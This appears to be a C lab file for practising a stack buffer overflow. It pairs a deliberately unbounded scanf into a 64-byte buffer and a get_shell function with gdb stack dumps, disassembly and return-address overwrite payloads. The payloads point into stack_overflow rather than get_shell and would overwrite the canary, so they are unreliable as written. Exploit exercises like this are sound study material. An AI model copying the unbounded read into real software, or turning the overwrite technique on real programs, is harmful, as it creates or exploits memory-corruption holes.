#include <stdio.h>

void stack_overflow()   // 0x00005555555551a9
{
    char buf[64] = {0};
    scanf("%s", &buf);
    printf("Hello %s\n", &buf);
}

void get_shell()    // 0x000055555555524b
{
    system("/bin/sh");
}

void main()     // 0x0000555555555267
{
    stack_overflow();
    // 0x0000555555555279   return value
}

#if 0

0x7fffffffde78:	0x00005555555550c0	0x00007fffffffdf80
0x7fffffffde88:	0x0000555555555279	0x0000000000000000
0x7fffffffde98:	0x00007ffff7dde083	0x00007ffff7ffc620
0x7fffffffdea8:	0x00007fffffffdf88	0x0000000100000000
0x7fffffffdeb8:	0x0000555555555267	0x0000555555555280

x/i $rip
=> 0x555555555204:	lea    -0x50(%rbp),%rax
(gdb) x/30x $rsp
0x7fffffffde30:	0x0000000000000000	0x0000000000000000
0x7fffffffde40:	0x0000000000000000	0x0000000000000000
0x7fffffffde50:	0x0000000000000000	0x0000000000000000
0x7fffffffde60:	0x0000000000000000	0x0000000000000000
0x7fffffffde70:	0x0000000000000000	0x5eae5208ceeb8100(canay)
0x7fffffffde80:	0x00007fffffffde90(old rbp)	0x0000555555555279(ret value)
0x7fffffffde90:	0x0000000000000000	0x00007ffff7dde083
0x7fffffffdea0:	0x00007ffff7ffc620	0x00007fffffffdf88
0x7fffffffdeb0:	0x0000000100000000	0x0000555555555267

0x7fffffffde80 - 0x7fffffffde30 = 0x50

// payload = b'A'*0x50 + p64(0x555555554000+0x121c)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1cRUUUU
// payload = b'A'*0x4c + p64(0x555555554000+0x121c)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1cRUUUU



#endif

#if 0
    11a9:	f3 0f 1e fa          	endbr64             // stack_overflow
    11ad:	55                   	push   %rbp
    11ae:	48 89 e5             	mov    %rsp,%rbp
    11b1:	48 83 ec 50          	sub    $0x50,%rsp
    11b5:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax
    11bc:	00 00 
    11be:	48 89 45 f8          	mov    %rax,-0x8(%rbp)
    11c2:	31 c0                	xor    %eax,%eax
    11c4:	48 c7 45 b0 00 00 00 	movq   $0x0,-0x50(%rbp)
    11cb:	00 
    11cc:	48 c7 45 b8 00 00 00 	movq   $0x0,-0x48(%rbp)
    11d3:	00 
    11d4:	48 c7 45 c0 00 00 00 	movq   $0x0,-0x40(%rbp)
    11db:	00 
    11dc:	48 c7 45 c8 00 00 00 	movq   $0x0,-0x38(%rbp)
    11e3:	00 
    11e4:	48 c7 45 d0 00 00 00 	movq   $0x0,-0x30(%rbp)
    11eb:	00 
    11ec:	48 c7 45 d8 00 00 00 	movq   $0x0,-0x28(%rbp)
    11f3:	00 
    11f4:	48 c7 45 e0 00 00 00 	movq   $0x0,-0x20(%rbp)
    11fb:	00 
    11fc:	48 c7 45 e8 00 00 00 	movq   $0x0,-0x18(%rbp)
    1203:	00 
    1204:	48 8d 45 b0          	lea    -0x50(%rbp),%rax
    1208:	48 89 c6             	mov    %rax,%rsi
    120b:	48 8d 3d f2 0d 00 00 	lea    0xdf2(%rip),%rdi        # 2004 <__isoc99_scanf@plt+0xf54>
    1212:	b8 00 00 00 00       	mov    $0x0,%eax
    1217:	e8 94 fe ff ff       	callq  10b0 <__isoc99_scanf@plt>
    121c:	48 8d 45 b0          	lea    -0x50(%rbp),%rax
    1220:	48 89 c6             	mov    %rax,%rsi
    1223:	48 8d 3d dd 0d 00 00 	lea    0xddd(%rip),%rdi        # 2007 <__isoc99_scanf@plt+0xf57>
    122a:	b8 00 00 00 00       	mov    $0x0,%eax
    122f:	e8 6c fe ff ff       	callq  10a0 <printf@plt>
    1234:	90                   	nop
    1235:	48 8b 45 f8          	mov    -0x8(%rbp),%rax
    1239:	64 48 33 04 25 28 00 	xor    %fs:0x28,%rax
    1240:	00 00 
    1242:	74 05                	je     1249 <__isoc99_scanf@plt+0x199>
    1244:	e8 37 fe ff ff       	callq  1080 <__stack_chk_fail@plt>
    1249:	c9                   	leaveq 
    124a:	c3                   	retq   
    124b:	f3 0f 1e fa          	endbr64         // get_shell
    124f:	55                   	push   %rbp
    1250:	48 89 e5             	mov    %rsp,%rbp
    1253:	48 8d 3d b7 0d 00 00 	lea    0xdb7(%rip),%rdi        # 2011 <__isoc99_scanf@plt+0xf61>
    125a:	b8 00 00 00 00       	mov    $0x0,%eax
    125f:	e8 2c fe ff ff       	callq  1090 <system@plt>
    1264:	90                   	nop
    1265:	5d                   	pop    %rbp
    1266:	c3                   	retq   
    1267:	f3 0f 1e fa          	endbr64         // main
    126b:	55                   	push   %rbp
    126c:	48 89 e5             	mov    %rsp,%rbp
    126f:	b8 00 00 00 00       	mov    $0x0,%eax
    1274:	e8 30 ff ff ff       	callq  11a9 <__isoc99_scanf@plt+0xf9>
    1279:	90                   	nop
    127a:	5d                   	pop    %rbp
    127b:	c3                   	retq 
#endif